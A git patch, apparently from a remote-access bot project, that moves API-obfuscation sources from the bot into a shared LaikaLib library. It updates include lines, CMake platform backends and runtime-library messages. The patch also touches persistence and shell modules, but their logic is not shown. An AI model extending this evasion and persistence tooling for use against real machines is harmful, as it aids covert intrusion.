From ed96b75577593bc81612cd16e56fc6c256e93c46 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sat, 16 Jul 2022 16:09:33 -0500 Subject: [PATCH] Moved API obfuscation to LaikaLib target --- CMakeLists.txt | 3 ++- bot/src/main.c | 2 +- bot/win/winpersist.c | 2 +- bot/win/winshell.c | 2 +- lib/CMakeLists.txt | 10 +++++++++- bot/include/obf.h => lib/include/lobf.h | 0 {bot => lib}/lin/linobf.c | 2 +- {bot => lib}/win/winobf.c | 2 +- 8 files changed, 16 insertions(+), 7 deletions(-) rename bot/include/obf.h => lib/include/lobf.h (100%) rename {bot => lib}/lin/linobf.c (67%) rename {bot => lib}/win/winobf.c (99%) diff --git a/CMakeLists.txt b/CMakeLists.txt index cec98c4..b04d898 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -30,7 +30,7 @@ if(RAWCMAKEBUILDTYPE STREQUAL "debug") set(LAIKA_DEBUG_BUILD on) if(WIN32) # statically link debug libs for windows - message(STATUS "Adding MSVC Debug libs...") + message(STATUS "Adding MSVCRT Debug libs...") set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreadedDebug") else() message(STATUS "Adding sanitizer...") @@ -42,6 +42,7 @@ else() set(LAIKA_DEBUG_BUILD off) # statically link non-debug libs if(WIN32) + message(STATUS "Adding MSVCRT libs...") set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded") endif () endif () diff --git a/bot/src/main.c b/bot/src/main.c index 58239fb..70f186c 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -3,7 +3,7 @@ #include "lconfig.h" #include "lerror.h" #include "ltask.h" -#include "obf.h" +#include "lobf.h" #include "persist.h" #include "shell.h" diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index 36d03a2..0ad3b49 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -11,7 +11,7 @@ #include "lerror.h" #include "lmem.h" #include "lvm.h" -#include "obf.h" +#include "lobf.h" #include "persist.h" HANDLE laikaB_mutex; diff --git a/bot/win/winshell.c b/bot/win/winshell.c index 4ae1f7f..af0beef 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -1,6 +1,6 @@ /* platform specific code for opening shells (pseudo consoles) on windows */ #include "bot.h" -#include "obf.h" +#include "lobf.h" #include "lerror.h" #include "lmem.h" #include "shell.h" diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 559f794..6a26f82 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -10,7 +10,15 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON) # compile LaikaLib library file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c) file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h) -add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS}) + +# include platform specific backends +if(WIN32) + file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c) +elseif(UNIX AND NOT APPLE) + file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c) +endif () + +add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS} ${LIBPLATFORMSOURCE}) target_link_libraries(LaikaLib PUBLIC sodium) # make sure we're compiled *AFTER* lboxconfig.h has been generated diff --git a/bot/include/obf.h b/lib/include/lobf.h similarity index 100% rename from bot/include/obf.h rename to lib/include/lobf.h diff --git a/bot/lin/linobf.c b/lib/lin/linobf.c similarity index 67% rename from bot/lin/linobf.c rename to lib/lin/linobf.c index e0910aa..bf8a2bb 100644 --- a/bot/lin/linobf.c +++ b/lib/lin/linobf.c @@ -1,4 +1,4 @@ -#include "obf.h" +#include "lobf.h" void laikaO_init() { diff --git a/bot/win/winobf.c b/lib/win/winobf.c similarity index 99% rename from bot/win/winobf.c rename to lib/win/winobf.c index fb7a89e..d493fb9 100644 --- a/bot/win/winobf.c +++ b/lib/win/winobf.c @@ -1,4 +1,4 @@ -#include "obf.h" +#include "lobf.h" /* Most of this file was adapted from